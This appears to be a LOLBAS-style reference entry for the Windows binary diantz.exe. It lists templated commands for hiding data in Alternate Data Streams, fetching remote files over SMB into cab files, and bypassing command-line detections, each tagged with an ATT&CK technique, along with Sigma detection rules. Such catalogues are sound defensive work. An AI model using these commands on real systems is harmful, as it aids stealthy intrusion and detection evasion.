Diantz.exe

type: OSBinaries

Binary that package existing files into a cabinet (.cab) file

Full path

c:\windows\system32\diantz.exe
c:\windows\syswow64\diantz.exe

Commands

ADSUser T1564.004
Hide data compressed into an Alternate Data Stream.
```
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
```
Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
os: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
Type: Compression
DownloadUser T1105
Download and compress into a cab file.
```
diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
```
Download and compress a remote file and store it in a CAB file on local machine.
os: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Type: Compression
ExecuteUser T1036
Bypass command-line based detections
```
diantz /f {PATH:.ddf}
```
Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
os: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Type: Compression

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml
Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml
IOCdiantz storing data into alternate data streams.
IOCdiantz getting a file from a remote machine or the internet.

Resources

acknowledgement: Tamir Yehuda @tim8288, Hai Vaknin @vakninhai